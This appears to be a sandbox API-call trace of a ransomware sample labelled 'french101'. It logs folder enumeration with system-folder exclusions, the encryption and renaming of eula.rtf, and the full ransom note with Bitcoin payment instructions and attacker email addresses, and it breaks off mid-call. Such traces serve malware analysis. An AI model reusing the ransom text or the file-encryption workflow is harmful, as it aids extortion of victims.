0x1b [0280.213] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec01c8, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0280.213] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.213] GetLastError () returned 0x2 [0280.213] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.213] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷠm°") returned 6 [0280.213] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0280.213] GetLastError () returned 0x2 [0280.214] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0280.214] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.214] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.214] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.214] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.214] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.214] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.214] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.214] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0280.214] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.214] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.214] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0280.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0280.214] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.214] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0280.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0280.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.215] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0280.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0280.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.215] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0280.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d98, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0280.215] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.215] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.215] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.215] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0280.215] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0280.215] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0280.215] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.215] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0280.215] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0280.215] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0280.216] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0280.216] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0280.216] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0280.216] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0280.216] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0280.216] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39de0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0280.216] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa88, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0280.216] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1042\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1042\\") returned 0x1b [0280.217] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0280.217] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0280.217] SHGetPathFromIDListW (in: pidl=0x6e46a8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0280.217] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0280.217] IMalloc:Free (This=0x75e4d000, pv=0x6e46a8) [0280.217] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0280.217] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0280.217] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.217] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.217] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.217] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0280.217] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0280.218] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0280.218] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.218] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0280.218] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.218] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0280.218] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.218] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.218] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0280.218] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.218] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.218] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.218] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.218] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0280.218] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.221] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0280.221] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.221] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.221] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.221] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.221] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0280.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0280.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.221] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0280.222] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0280.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0280.222] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\я" (normalized: "c:\\588bce7c90097ed212\\1042\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.232] WriteFile (in: hFile=0x398, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0280.232] CloseHandle (hObject=0x398) returned 1 [0280.233] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\я" (normalized: "c:\\588bce7c90097ed212\\1042\\я")) returned 1 [0280.234] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0280.234] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0280.234] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0280.235] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0280.235] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", dwFileAttributes=0x20) returned 1 [0280.235] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.235] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.235] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x318f [0280.235] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.235] SetFilePointer (in: hFile=0x398, lDistanceToMove=12687, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x318f [0280.235] WriteFile (in: hFile=0x398, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0280.240] CloseHandle (hObject=0x398) returned 1 [0280.252] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.253] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.253] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x3190 [0280.253] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.253] SetFilePointer (in: hFile=0x398, lDistanceToMove=12687, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x318f [0280.253] SetEndOfFile (hFile=0x398) returned 1 [0280.255] CloseHandle (hObject=0x398) returned 1 [0280.255] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.256] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.256] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x318f [0280.256] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.256] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.256] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.256] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x318f [0280.256] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.257] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.257] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.258] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0280.258] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.258] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.258] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0280.258] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.258] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0280.258] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0280.258] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.258] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0280.258] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.258] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0280.258] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x318f [0280.258] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0280.258] SetFilePointer (in: hFile=0x398, lDistanceToMove=12687, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x318f [0280.258] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0280.335] WriteFile (in: hFile=0x398, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0280.335] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.335] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.336] CloseHandle (hObject=0x398) returned 1 [0280.337] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\oNaaV96b2IHYU16PUvk8rk.french101" (normalized: "c:\\588bce7c90097ed212\\1042\\onaav96b2ihyu16puvk8rk.french101")) returned 1 [0280.337] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\oNaaV96b2IHYU16PUvk8rk.french101" (normalized: "c:\\588bce7c90097ed212\\1042\\onaav96b2ihyu16puvk8rk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0280.338] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0280.338] CloseHandle (hObject=0x398) returned 1 [0280.338] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\oNaaV96b2IHYU16PUvk8rk.french101", dwFileAttributes=0x80) returned 1 [0280.338] CloseHandle (hObject=0x398) returned 0 [0280.338] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.338] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.338] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.338] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.339] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0280.339] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.339] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.339] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0280.339] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.339] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0280.339] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0280.339] GetLastError () returned 0x2 [0280.339] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: 